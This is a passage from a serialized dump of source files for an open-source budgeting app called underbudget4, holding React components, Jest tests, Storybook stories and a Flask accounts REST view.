'@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport DeleteIcon from '@material-ui/icons/Delete';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useConfirmation from 'common/hooks/useConfirmation';\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\n\nconst IncomesList = ({ incomes, onDelete, type }) => {\n const confirm = useConfirmation();\n const formatMoney = useFormatMoney();\n const navigate = useNavigateKeepingSearch();\n\n const handleDelete = (income) =>\n confirm({\n message: [`Delete ${type} income ${income.name}?`],\n }).then(() => {\n onDelete(income.id);\n });\n\n return (\n <List dense disablePadding>\n {incomes.map((income) => (\n <ListItem button key={income.id} onClick={() => navigate(`modify-${type}/${income.id}`)}>\n <ListItemText primary={income.name} secondary={formatMoney(income.amount)} />\n <ListItemSecondaryAction>\n <IconButton aria-label='delete income' onClick={() => handleDelete(income)}>\n <DeleteIcon />\n </IconButton>\n </ListItemSecondaryAction>\n </ListItem>\n ))}\n </List>\n );\n};\n\nIncomesList.propTypes = {\n incomes: PropTypes.arrayOf(\n PropTypes.shape({\n id: PropTypes.number.isRequired,\n name: PropTypes.string.isRequired,\n amount: PropTypes.number.isRequired,\n }),\n ).isRequired,\n onDelete: PropTypes.func.isRequired,\n type: PropTypes.oneOf(['annual', 'periodic']).isRequired,\n};\n\nexport default IncomesList;\n" }, { "alpha_fraction": 0.5205724239349365, "alphanum_fraction": 0.5277280807495117, "avg_line_length": 25.619047164916992, "blob_id": "ea70373bd654baaa6321802f326f4b5c020632c7", "content_id": "a8edea1935ad5f96f3ce33d03ce705b254ff3db2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 559, "license_type": "permissive", "max_line_length": 67, "num_lines": 21, "path": "/webapp/src/features/accounts/hooks/useAccountName.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport useAccounts from './useAccounts';\n\nexport default () => {\n const { categories = [] } = useAccounts({ sorted: false });\n return React.useCallback(\n (id) => {\n for (let i = 0; i < categories.length; i += 1) {\n const category = categories[i];\n for (let j = 0; j < category.accounts.length; j += 1) {\n if (category.accounts[j].id === id) {\n return `${category.name}:${category.accounts[j].name}`;\n }\n }\n }\n return 'unknown';\n },\n [categories],\n );\n};\n" }, { "alpha_fraction": 0.6486006379127502, "alphanum_fraction": 0.6614837646484375, "avg_line_length": 32.597015380859375, "blob_id": "f673d3ba2fa58f03c3e7d84b99a23c98f41f044a", "content_id": "0d3b804ca44e010f8488e5bfdaf2d6688f31774c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2251, "license_type": "permissive", "max_line_length": 87, "num_lines": 67, "path": "/webapp/src/features/budgets/components/__tests__/BudgetSelectField.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport { Field, Form, Formik } from 'formik';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport BudgetSelectField from '../BudgetSelectField';\n\nconst render = ({ initialValues = {}, ...formikProps } = {}) => {\n setSelectedLedger('2');\n\n const queryClient = new QueryClient({\n defaultOptions: { queries: { staleTime: Infinity } },\n });\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet('/api/ledgers/2/budgets').reply(200, {\n budgets: [\n { id: 2, name: 'Budget 2', periods: 2 },\n { id: 1, name: 'Budget 1', periods: 1 },\n { id: 3, name: 'Budget 3', periods: 3 },\n ],\n });\n\n const handleSubmit = jest.fn();\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Formik initialValues={initialValues} onSubmit={handleSubmit} {...formikProps}>\n <Form>\n <Field name='budget' component={BudgetSelectField} />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>\n </QueryClientProvider>,\n ),\n handleSubmit,\n mockApi,\n };\n};\n\ntest('should allow budgets as selectable options', async () => {\n const { handleSubmit } = render({ initialValues: { budget: 2 } });\n\n const textbox = screen.getByRole('textbox');\n await waitFor(() => expect(textbox).toHaveValue('Budget 2'));\n\n userEvent.click(screen.getByRole('button', { name: /open/i }));\n\n const options = screen.getAllByRole('option');\n expect(options).toHaveLength(3);\n expect(options[0]).toHaveTextContent('Budget 1');\n expect(options[1]).toHaveTextContent('Budget 2');\n expect(options[2]).toHaveTextContent('Budget 3');\n\n userEvent.click(options[2]);\n await waitFor(() => expect(textbox).toHaveValue('Budget 3'));\n\n userEvent.click(screen.getByRole('button', { name: /submit/i }));\n await waitFor(() => expect(handleSubmit).toHaveBeenCalled());\n\n expect(handleSubmit.mock.calls[0][0]).toEqual({ budget: 3 });\n});\n" }, { "alpha_fraction": 0.6674473285675049, "alphanum_fraction": 0.6674473285675049, "avg_line_length": 41.70000076293945, "blob_id": "2d4a8e6582ddcf3fbd86efbecb484a3aeeb330c3", "content_id": "3da414b177b2ac41b3cb8fb3f3ad2c7996bdabcf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 427, "license_type": "permissive", "max_line_length": 97, "num_lines": 10, "path": "/webapp/src/features/ledgers/hooks/useModifyLedger.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\n\nexport default (opts) =>\n useMutation(({ created, id, lastUpdated, ...data }) => axios.put(`/api/ledgers/${id}`, data), {\n createErrorMessage: useErrorMessage({ request: 'Unable to modify ledger' }),\n refetchQueries: (_, { id }) => ['ledgers', ['ledger', id]],\n ...opts,\n });\n" }, { "alpha_fraction": 0.6731707453727722, "alphanum_fraction": 0.6731707453727722, "avg_line_length": 19.5, "blob_id": "df143623ee0856c770fa0cf43938004d4a6b2ac4", "content_id": "70b7e6c8600f4d83d454f642febf8cb6518732ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 615, "license_type": "permissive", "max_line_length": 59, "num_lines": 30, "path": "/webapp/src/features/accounts/components/AccountCategoryForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Field } from 'formik';\nimport { TextField } from 'formik-material-ui';\nimport React from 'react';\nimport * as yup from 'yup';\n\nconst AccountCategoryForm = () => (\n <Field\n autoComplete='off'\n autoFocus\n component={TextField}\n id='account-category-name'\n fullWidth\n label='Name'\n margin='normal'\n name='name'\n placeholder='My accounts'\n required\n variant='outlined'\n />\n);\n\nAccountCategoryForm.initialValues = {\n name: '',\n};\n\nAccountCategoryForm.validationSchema = yup.object().shape({\n name: yup.string().required('Required'),\n});\n\nexport default AccountCategoryForm;\n" }, { "alpha_fraction": 0.5136820077896118, "alphanum_fraction": 0.5479736924171448, "avg_line_length": 19.769784927368164, "blob_id": "0f25f936afe82fdf5c6db096420ebf883242ba81", "content_id": "63c365f9710825ce805d37dd5b5092e6325a83f1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2887, "license_type": "permissive", "max_line_length": 98, "num_lines": 139, "path": "/webapp/src/features/transactions/components/__stories__/TransactionDetailsTable.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport setupMockApi from 'test/setupMockApi';\nimport TransactionDetailsTable from '../TransactionDetailsTable';\n\nexport default {\n title: 'transactions/TransactionDetailsTable',\n component: TransactionDetailsTable,\n decorators: [\n (story, { parameters } = {}) => {\n const { transaction = {}, code = 200 } = parameters;\n\n setSelectedLedger('2');\n\n const mockAxios = setupMockApi(parameters);\n mockAxios.onGet('/api/transactions/7').reply(code, transaction);\n\n return story();\n },\n ],\n};\n\nconst formatMoney = (v) =>\n new Intl.NumberFormat(undefined, { currency: 'USD', style: 'currency' }).format(v / 100);\n\nconst Template = (args) => <TransactionDetailsTable formatMoney={formatMoney} id={7} {...args} />;\n\nexport const GetError = Template.bind({});\nGetError.parameters = {\n code: 404,\n};\n\nexport const SimpleTransaction = Template.bind({});\nSimpleTransaction.parameters = {\n transaction: {\n recordedDate: '2021-05-07',\n type: 'income',\n payee: 'Vendor',\n accountTransactions: [\n {\n id: 2,\n accountId: 2,\n memo: '',\n amount: 1450,\n },\n ],\n envelopeTransactions: [\n {\n id: 5,\n envelopeId: 2,\n memo: '',\n amount: 1450,\n },\n ],\n },\n};\n\nexport const SplitTransaction = Template.bind({});\nSplitTransaction.parameters = {\n transaction: {\n recordedDate: '2021-05-07',\n type: 'expense',\n payee: 'Vendor',\n accountTransactions: [\n {\n id: 2,\n accountId: 2,\n memo: 'account memo',\n amount: -1450,\n cleared: true,\n },\n ],\n envelopeTransactions: [\n {\n id: 5,\n envelopeId: 2,\n memo: 'envelope memo 1',\n amount: -400,\n },\n {\n id: 6,\n envelopeId: 1,\n memo: 'envelope memo 2',\n amount: -1050,\n },\n ],\n },\n};\n\nexport const AccountTransfer = Template.bind({});\nAccountTransfer.parameters = {\n transaction: {\n recordedDate: '2021-05-07',\n type: 'transfer',\n payee: 'Transfer',\n accountTransactions: [\n {\n id: 2,\n accountId: 2,\n memo: '',\n cleared: false,\n amount: 3500,\n },\n {\n id: 3,\n accountId: 1,\n memo: '',\n cleared: true,\n amount: -3500,\n },\n ],\n envelopeTransactions: [],\n },\n};\n\nexport const EnvelopeTransfer = Template.bind({});\nEnvelopeTransfer.parameters = {\n transaction: {\n recordedDate: '2021-05-07',\n type: 'allocation',\n payee: 'Budget',\n accountTransactions: [],\n envelopeTransactions: [\n {\n id: 5,\n envelopeId: 2,\n memo: '',\n amount: 2000,\n },\n {\n id: 6,\n envelopeId: 1,\n memo: '',\n amount: -2000,\n },\n ],\n },\n};\n" }, { "alpha_fraction": 0.6473921537399292, "alphanum_fraction": 0.6624112725257874, "avg_line_length": 40.73219299316406, "blob_id": "469d6446e80e8fce4f82c8d92e568aa1493e837e", "content_id": "ace4168b173af37de18c75a2187554d10bc48e15", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 14648, "license_type": "permissive", "max_line_length": 98, "num_lines": 351, "path": "/webapp/src/features/ledgers/components/__tests__/LedgersListing.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, fireEvent, screen, waitFor, within } from '@testing-library/react';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport moment from 'moment';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport createMediaQuery from 'test/createMediaQuery';\nimport renderWithRouter from 'test/renderWithRouter';\nimport LedgersListing from '../LedgersListing';\n\nconst render = ({ route = '/ledgers', width = '800px' } = {}) => {\n window.matchMedia = createMediaQuery(width);\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retryDelay: 200,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <LedgersListing />\n </QueryClientProvider>,\n { route },\n ),\n queryClient,\n };\n};\n\nconst currencies = [840, 978, 980];\nconst createLedgers = (from, to) => {\n const ledgers = [];\n let i = from;\n while (i < to) {\n ledgers.push({\n id: `ledger-id-${i}`,\n name: `Ledger ${i}`,\n currency: currencies[i % currencies.length],\n lastUpdated: moment()\n .subtract(i * 2 + 4, 'day')\n .toISOString(),\n });\n i += 1;\n }\n return ledgers;\n};\n\ndescribe('LedgersListing', () => {\n beforeEach(() => {\n configure({ defaultHidden: true });\n window.HTMLElement.prototype.scrollTo = () => 0;\n });\n\n it('should show error message when not logged in', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet(/\\/api\\/ledgers.*/).reply(401);\n\n render();\n\n await waitFor(() => expect(screen.queryByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/you are no longer logged in/i)).toBeInTheDocument();\n });\n\n it('should show error message when network error', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet(/\\/api\\/ledgers.*/).timeout();\n\n render();\n\n await waitFor(() => expect(screen.queryByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/unable to retrieve ledgers/i)).toBeInTheDocument();\n });\n\n it('should show error message when server error', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet(/\\/api\\/ledgers.*/).reply(500);\n\n render();\n\n await waitFor(() => expect(screen.queryByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/an error occurred on the server/i)).toBeInTheDocument();\n });\n\n it('should show one page of ledgers on desktop', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: createLedgers(0, 2),\n total: 2,\n });\n\n render();\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n expect(screen.queryByRole('progressbar')).not.toBeInTheDocument();\n\n const rows = screen.queryAllByRole('row');\n\n const header = within(rows[0]);\n expect(header.getByRole('columnheader', { name: 'Name' })).toBeInTheDocument();\n expect(header.getByRole('columnheader', { name: 'Currency' })).toBeInTheDocument();\n expect(header.getByRole('columnheader', { name: 'Last Modified' })).toBeInTheDocument();\n expect(header.getByRole('columnheader', { name: 'Actions' })).toBeInTheDocument();\n\n const row1 = within(rows[1]);\n expect(row1.getByRole('cell', { name: 'Ledger 0' })).toBeInTheDocument();\n expect(row1.getByRole('cell', { name: 'USD' })).toBeInTheDocument();\n expect(row1.getByRole('cell', { name: '4 days ago' })).toBeInTheDocument();\n expect(row1.getByRole('button', { name: /modify ledger/i })).toBeInTheDocument();\n expect(row1.getByRole('button', { name: /delete ledger/i })).toBeInTheDocument();\n expect(\n row1.queryByRole('button', { name: /open ledger actions menu/i }),\n ).not.toBeInTheDocument();\n\n const row2 = within(rows[2]);\n expect(row2.getByRole('cell', { name: 'Ledger 1' })).toBeInTheDocument();\n expect(row2.getByRole('cell', { name: 'EUR' })).toBeInTheDocument();\n expect(row2.getByRole('cell', { name: '6 days ago' })).toBeInTheDocument();\n expect(row2.getByRole('button', { name: /modify ledger/i })).toBeInTheDocument();\n expect(row2.getByRole('button', { name: /delete ledger/i })).toBeInTheDocument();\n expect(\n row2.queryByRole('button', { name: /open ledger actions menu/i }),\n ).not.toBeInTheDocument();\n\n expect(screen.queryByRole('button', { name: /next page/i })).not.toBeInTheDocument();\n expect(screen.queryByRole('button', { name: /previous page/i })).not.toBeInTheDocument();\n });\n\n it('should show one page of ledgers on mobile', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: createLedgers(0, 2),\n total: 2,\n });\n\n render({ width: '400px' });\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n expect(screen.queryByRole('progressbar')).not.toBeInTheDocument();\n\n const rows = screen.queryAllByRole('row');\n\n const header = within(rows[0]);\n expect(header.getByRole('columnheader', { name: 'Name' })).toBeInTheDocument();\n expect(header.getByRole('columnheader', { name: 'Currency' })).toBeInTheDocument();\n expect(header.getByRole('columnheader', { name: 'Actions' })).toBeInTheDocument();\n expect(header.queryByRole('columnheader', { name: 'Last Modified' })).not.toBeInTheDocument();\n\n const row1 = within(rows[1]);\n expect(row1.getByRole('cell', { name: 'Ledger 0' })).toBeInTheDocument();\n expect(row1.getByRole('cell', { name: 'USD' })).toBeInTheDocument();\n expect(row1.getByRole('button', { name: /open ledger actions menu/i })).toBeInTheDocument();\n expect(row1.queryByRole('button', { name: /modify ledger/i })).not.toBeInTheDocument();\n expect(row1.queryByRole('button', { name: /delete ledger/i })).not.toBeInTheDocument();\n expect(row1.queryByRole('cell', { name: 'an hour ago' })).not.toBeInTheDocument();\n\n const row2 = within(rows[2]);\n expect(row2.getByRole('cell', { name: 'Ledger 1' })).toBeInTheDocument();\n expect(row2.getByRole('cell', { name: 'EUR' })).toBeInTheDocument();\n expect(row2.getByRole('button', { name: /open ledger actions menu/i })).toBeInTheDocument();\n expect(row2.queryByRole('button', { name: /modify ledger/i })).not.toBeInTheDocument();\n expect(row2.queryByRole('button', { name: /delete ledger/i })).not.toBeInTheDocument();\n expect(row2.queryByRole('cell', { name: '4 months ago' })).not.toBeInTheDocument();\n });\n\n it('should show multiple pages of ledgers', async () => {\n const mockAxios = new MockAdapter(axios, { delayResponse: 0 });\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: createLedgers(0, 10),\n total: 24,\n });\n mockAxios.onGet('/api/ledgers?page=2&size=10').reply(200, {\n ledgers: createLedgers(10, 20),\n total: 24,\n });\n mockAxios.onGet('/api/ledgers?page=3&size=10').reply(200, {\n ledgers: createLedgers(20, 24),\n total: 24,\n });\n\n render();\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const firstPageRows = screen.queryAllByRole('row');\n expect(firstPageRows).toHaveLength(11);\n\n const firstPageFirstRow = within(firstPageRows[1]);\n expect(firstPageFirstRow.getByRole('cell', { name: 'Ledger 0' })).toBeInTheDocument();\n expect(firstPageFirstRow.getByRole('cell', { name: 'USD' })).toBeInTheDocument();\n expect(firstPageFirstRow.getByRole('cell', { name: '4 days ago' })).toBeInTheDocument();\n\n const firstPageLastRow = within(firstPageRows[10]);\n expect(firstPageLastRow.getByRole('cell', { name: 'Ledger 9' })).toBeInTheDocument();\n expect(firstPageLastRow.getByRole('cell', { name: 'USD' })).toBeInTheDocument();\n expect(firstPageLastRow.getByRole('cell', { name: '22 days ago' })).toBeInTheDocument();\n\n expect(screen.getByRole('button', { name: /previous page/i })).toBeDisabled();\n fireEvent.click(screen.getByRole('button', { name: /next page/i }));\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const secondPageRows = screen.queryAllByRole('row');\n expect(secondPageRows).toHaveLength(11);\n\n const secondPageFirstRow = within(secondPageRows[1]);\n expect(secondPageFirstRow.getByRole('cell', { name: 'Ledger 10' })).toBeInTheDocument();\n expect(secondPageFirstRow.getByRole('cell', { name: 'EUR' })).toBeInTheDocument();\n expect(secondPageFirstRow.getByRole('cell', { name: '24 days ago' })).toBeInTheDocument();\n\n const secondPageLastRow = within(secondPageRows[10]);\n expect(secondPageLastRow.getByRole('cell', { name: 'Ledger 19' })).toBeInTheDocument();\n expect(secondPageLastRow.getByRole('cell', { name: 'EUR' })).toBeInTheDocument();\n expect(secondPageLastRow.getByRole('cell', { name: 'a month ago' })).toBeInTheDocument();\n\n expect(screen.getByRole('button', { name: /previous page/i })).toBeEnabled();\n fireEvent.click(screen.getByRole('button', { name: /next page/i }));\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const thirdPageRows = screen.queryAllByRole('row');\n expect(thirdPageRows).toHaveLength(5);\n\n const thirdPageFirstRow = within(thirdPageRows[1]);\n expect(thirdPageFirstRow.getByRole('cell', { name: 'Ledger 20' })).toBeInTheDocument();\n expect(thirdPageFirstRow.getByRole('cell', { name: 'UAH' })).toBeInTheDocument();\n expect(thirdPageFirstRow.getByRole('cell', { name: 'a month ago' })).toBeInTheDocument();\n\n const thirdPageLastRow = within(thirdPageRows[4]);\n expect(thirdPageLastRow.getByRole('cell', { name: 'Ledger 23' })).toBeInTheDocument();\n expect(thirdPageLastRow.getByRole('cell', { name: 'UAH' })).toBeInTheDocument();\n expect(thirdPageLastRow.getByRole('cell', { name: '2 months ago' })).toBeInTheDocument();\n\n expect(screen.getByRole('button', { name: /next page/i })).toBeDisabled();\n fireEvent.click(screen.getByRole('button', { name: /previous page/i }));\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n expect(screen.queryAllByRole('row')).toHaveLength(11);\n }, 15000);\n\n it('should redirect to accounts page when selecting a ledger', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: createLedgers(0, 2),\n total: 2,\n });\n\n const { history } = render();\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n\n const row = within(rows[1]);\n fireEvent.click(row.getByRole('cell', { name: 'Ledger 0' }));\n expect(history.location.pathname).toBe('/accounts');\n expect(localStorage.getItem('underbudget.selected.ledger')).toBe('ledger-id-0');\n });\n\n it('should redirect to previous location state when selecting a ledger', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: createLedgers(0, 2),\n total: 2,\n });\n\n const { history } = render({\n route: {\n pathname: '/ledgers',\n state: { from: '/last-page' },\n },\n });\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n\n const row = within(rows[2]);\n fireEvent.click(row.getByRole('cell', { name: 'EUR' }));\n expect(history.location.pathname).toBe('/last-page');\n expect(localStorage.getItem('underbudget.selected.ledger')).toBe('ledger-id-1');\n });\n\n it('should prompt to confirm deletion of a ledger', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: createLedgers(0, 2),\n total: 2,\n });\n\n render();\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n\n const row1 = within(rows[1]);\n fireEvent.click(row1.getByRole('button', { name: /delete ledger/i }));\n\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n fireEvent.click(screen.getByRole('button', { name: /cancel/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n expect(mockAxios.history.delete).toHaveLength(0);\n });\n\n it('should delete ledger when confirmed', async () => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers?page=1&size=10').reply(200, {\n ledgers: createLedgers(0, 2),\n total: 2,\n });\n mockAxios.onDelete('/api/ledgers/ledger-id-0').reply(204);\n\n const { queryClient } = render();\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).toBeInTheDocument());\n await waitFor(() => expect(screen.queryAllByRole('row')).toHaveLength(3));\n\n const rows = screen.queryAllByRole('row');\n\n const row1 = within(rows[1]);\n fireEvent.click(row1.getByRole('button', { name: /delete ledger/i }));\n\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n fireEvent.click(screen.getByRole('button', { name: /ok/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(mockAxios.history.delete).toHaveLength(1));\n expect(mockAxios.history.delete[0].url).toBe('/api/ledgers/ledger-id-0');\n expect(invalidateQueries).toHaveBeenCalledWith('ledgers');\n });\n});\n" }, { "alpha_fraction": 0.580523669719696, "alphanum_fraction": 0.5896700024604797, "avg_line_length": 31.994083404541016, "blob_id": "2ba32202be42fdf5883d13dc3e1022bca5228a0f", "content_id": "f83894787a46b6b47873d32e997574ad442d29fd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5576, "license_type": "permissive", "max_line_length": 85, "num_lines": 169, "path": "/backend/underbudget/views/accounts.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Accounts REST view \"\"\"\nfrom datetime import datetime\nfrom typing import Any, Dict, Optional\nfrom flask import Flask\nfrom flask.views import MethodView\nfrom werkzeug.exceptions import BadRequest\n\nfrom underbudget.common.decorators import use_args\nfrom underbudget.models.account import AccountCategoryModel, AccountModel\nfrom underbudget.models.ledger import LedgerModel\nimport underbudget.schemas.account as schema\n\n\naccount_schema = schema.AccountSchema()\ncategory_schema = schema.AccountCategorySchema()\n\n\nclass AccountCategoriesView(MethodView):\n \"\"\" Account category REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"account-categories\")\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/account-categories\",\n defaults={\"category_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/account-categories\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/account-categories/<int:category_id>\",\n defaults={\"ledger_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/account-categories/<int:category_id>\",\n view_func=view,\n methods=[\"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(ledger_id: Optional[int], category_id: Optional[int]):\n \"\"\" Gets a specific category or all categories in the specified ledger \"\"\"\n if category_id:\n return category_schema.dump(\n AccountCategoryModel.query.get_or_404(category_id)\n )\n if ledger_id:\n return {\n \"categories\": category_schema.dump(\n AccountCategoryModel.find_by_ledger_id(ledger_id), many=True\n )\n }\n return ({}, 404)\n\n @staticmethod\n @use_args(category_schema)\n def post(args: Dict[str, Any], ledger_id: int):\n \"\"\" Creates a new category \"\"\"\n LedgerModel.query.get_or_404(ledger_id)\n now = datetime.now()\n\n new_category = AccountCategoryModel(\n ledger_id=ledger_id,\n name=args[\"name\"],\n created=now,\n last_updated=now,\n )\n new_category.save()\n return {\"id\": int(new_category.id)}, 201\n\n @staticmethod\n @use_args(category_schema)\n def put(args: Dict[str, Any], category_id: int):\n \"\"\" Modifies a specific category \"\"\"\n category = AccountCategoryModel.query.get_or_404(category_id)\n category.name = args[\"name\"]\n category.last_updated = datetime.now()\n category.save()\n return {}, 200\n\n @staticmethod\n def delete(category_id: int):\n \"\"\" Deletes a specific category \"\"\"\n category = AccountCategoryModel.query.get_or_404(category_id)\n category.delete()\n return {}, 204\n\n\nclass AccountsView(MethodView):\n \"\"\" Account REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"accounts\")\n app.add_url_rule(\n \"/api/account-categories/<int:category_id>/accounts\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/accounts/<int:account_id>\",\n view_func=view,\n methods=[\"GET\", \"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(account_id: int):\n \"\"\" Gets a specific account \"\"\"\n return account_schema.dump(AccountModel.query.get_or_404(account_id))\n\n @staticmethod\n @use_args(account_schema)\n def post(args: Dict[str, Any], category_id: int):\n \"\"\" Creates a new account in the specified category \"\"\"\n AccountCategoryModel.query.get_or_404(category_id)\n now = datetime.now()\n\n new_account = AccountModel(\n category_id=category_id,\n name=args[\"name\"],\n institution=args[\"institution\"],\n account_number=args[\"account_number\"],\n archived=args[\"archived\"],\n external_id=args[\"external_id\"],\n created=now,\n last_updated=now,\n )\n new_account.save()\n return {\"id\": int(new_account.id)}, 201\n\n @staticmethod\n @use_args(account_schema)\n def put(args: Dict[str, Any], account_id: int):\n \"\"\" Modifies a specific account \"\"\"\n account = AccountModel.query.get_or_404(account_id)\n\n if args[\"category_id\"] != account.category_id:\n old_category = AccountCategoryModel.query.get_or_404(account.category_id)\n new_category = AccountCategoryModel.query.get_or_404(args[\"category_id\"])\n\n if old_category.ledger_id != new_category.ledger_id:\n raise BadRequest(\"Parent category is from different ledger\")\n\n account.category_id = new_category.id\n\n account.name = args[\"name\"]\n account.institution = args[\"institution\"]\n account.account_number = args[\"account_number\"]\n account.archived = args[\"archived\"]\n account.external_id = args[\"external_id\"]\n account.last_updated = datetime.now()\n account.save()\n return {}, 200\n\n @staticmethod\n def delete(account_id: int):\n \"\"\" Deletes a specific account \"\"\"\n account = AccountModel.query.get_or_404(account_id)\n account.delete()\n return {}, 204\n" }, { "alpha_fraction": 0.6748166084289551, "alphanum_fraction": 0.6756316423416138, "avg_line_length": 34.05714416503906, "blob_id": "1dcdd16924ddcba0dc7c72cdeada3651a6ec7c41", "content_id": "a62bb54dd371db70d6bc504a27df71fec20efb4f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1227, "license_type": "permissive", "max_line_length": 81, "num_lines": 35, "path": "/webapp/src/features/budgets/components/PeriodicExpensesList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import LinearProgress from '@material-ui/core/LinearProgress';\nimport Alert from '@material-ui/lab/Alert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport Link from 'common/components/Link';\nimport useDeletePeriodicExpense from '../hooks/useDeletePeriodicExpense';\nimport useFetchPeriodicExpenses from '../hooks/useFetchPeriodicExpenses';\nimport ExpensesList from 